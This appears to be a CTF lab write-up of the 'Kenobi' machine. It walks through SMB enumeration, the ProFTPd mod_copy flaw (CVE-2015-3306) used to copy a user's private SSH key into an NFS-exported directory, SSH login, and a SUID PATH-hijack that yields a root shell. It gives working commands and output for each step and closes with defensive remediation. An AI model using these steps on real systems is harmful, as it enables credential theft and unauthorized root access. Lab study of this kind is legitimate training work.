← Back to all writeups
CTFroomEasy / IntermediateOS: Linux (Ubuntu)Target IP: 10.10.82.204

CTFroom: Kenobi — Samba Share Enumeration, ProFTPd RCE & SUID Path Hijacking

Enumerating anonymous Samba shares, leveraging a ProFTPd mod_copy vulnerability (CVE-2015-3306) to copy private SSH keys via an accessible NFS share, and escalating to root via SUID environment PATH manipulation.

Published: 2026-03-18·Est. 10 min read·Author: GomezGani Shaba
Samba EnumerationProFTPd CVE-2015-3306NFS MountingSUID Path HijackingLinux PrivEsc

Challenge Overview

Kenobi explores multiple network services running in tandem: enumerating SMB shares, exploiting an unauthenticated file copying vulnerability in ProFTPd (mod_copy), mounting network file systems (NFS), and abusing relative binary paths in custom SUID applications.


Phase 1: Service Enumeration

bashterminal / script
nmap -p- --min-rate 4000 10.10.82.204

Open ports discovered:

  • 21/tcp: ProFTPd 1.3.5
  • 22/tcp: OpenSSH 7.2p2
  • 80/tcp: Apache 2.4.18
  • 111/tcp: rpcbind (NFS portmapper)
  • 139/445/tcp: Samba smbd 4.3.11
  • 2049/tcp: nfs_acl
  • We enumerate SMB shares using Nmap scripts:

    bashterminal / script
    nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.82.204

    Three shares are identified:

  • IPC$
  • print$
  • anonymous (Read access permitted)

  • Phase 2: Inspecting Anonymous Share & NFS

    Connecting to the anonymous SMB share:

    bashterminal / script
    smbclient //10.10.82.204/anonymous
    # Password prompt: [Press Enter]
    smb: > ls
      log.txt                             N    11957  Wed Sep  4 05:49:09 2019
    smb: > get log.txt

    Reading log.txt, we uncover two critical pieces of intelligence:

  • Information generated when setting up an SSH keypair for user kenobi (stored at /home/kenobi/.ssh/id_rsa).
  • ProFTPd service configuration details.
  • Next, we inspect NFS export shares using showmount:

    bashterminal / script
    showmount -e 10.10.82.204
    # Output:
    Export list for 10.10.82.204:
    /var *

    The entire /var directory is exported and mountable by any remote host!


    Phase 3: Exploiting ProFTPd (mod_copy / CVE-2015-3306)

    ProFTPd version 1.3.5 includes the mod_copy module by default, which implements SITE CPFR (copy from) and SITE CPTO (copy to) commands. Crucially, these commands do not require authentication.

    We can instruct ProFTPd to copy Kenobi's private SSH key directly into the mountable /var/tmp directory:

    bashterminal / script
    nc 10.10.82.204 21
    220 ProFTPD 1.3.5 Server
    SITE CPFR /home/kenobi/.ssh/id_rsa
    350 File or directory exists, ready for destination name
    SITE CPTO /var/tmp/id_rsa
    250 Copy successful
    QUIT

    Phase 4: Mounting NFS & SSH Access

    We mount the remote /var NFS share locally to retrieve the copied SSH key:

    bashterminal / script
    mkdir /mnt/kenobi_nfs
    mount 10.10.82.204:/var /mnt/kenobi_nfs
    
    # Copy the private key
    cp /mnt/kenobi_nfs/tmp/id_rsa ./kenobi_id_rsa
    chmod 600 kenobi_id_rsa
    
    # Unmount
    umount /mnt/kenobi_nfs

    We connect as user kenobi:

    bashterminal / script
    ssh -i kenobi_id_rsa kenobi@10.10.82.204
    kenobi@kenobi:~$ whoami
    kenobi

    User flag recovered from /home/kenobi/user.txt.


    Phase 5: SUID Path Hijacking to Root

    We search for SUID binaries owned by root:

    bashterminal / script
    find / -perm -u=s -type f 2>/dev/null

    We spot a custom binary: /usr/bin/menu.

    Running /usr/bin/menu presents three options:

  • Status Check
  • Kernel Version
  • Ifconfig
  • We run strings /usr/bin/menu to analyze how it executes system commands:

    textterminal / script
    curl -I localhost
    uname -r
    ifconfig

    Notice that the binary calls curl without specifying an absolute path (e.g., /usr/bin/curl). Because it runs as root (via SUID), we can hijack the curl command by manipulating our user's PATH environment variable:

    bashterminal / script
    cd /tmp
    
    # Create a malicious curl script that spawns a root bash shell
    echo "/bin/sh -p" > curl
    chmod +x curl
    
    # Prepend /tmp to the system PATH
    export PATH=/tmp:$PATH

    Now we run /usr/bin/menu and select option 1 ("Status Check"):

    textterminal / script
    kenobi@kenobi:/tmp$ /usr/bin/menu
    
    ***************************************
    1. status check
    2. kernel version
    3. ifconfig
    ** Enter your choice : 1
    # whoami
    root

    The binary executed our malicious /tmp/curl with root privileges. Root flag recovered at /root/root.txt.


    Defense Remediation

  • Disable ProFTPd mod_copy or Upgrade: Restrict mod_copy or update to ProFTPd 1.3.6+.
  • Restrict NFS Exports: Never export root-level directories like /var with wildcards (*). Restrict exports to authorized IP addresses.
  • Always Use Absolute Paths in SUID Binaries: Developers must always specify /usr/bin/curl rather than relative curl in system calls.
  • CTFroom: Kenobi — Samba Share Enumeration, ProFTPd RCE & SUID Path Hijacking | Security Writeups | GomezGani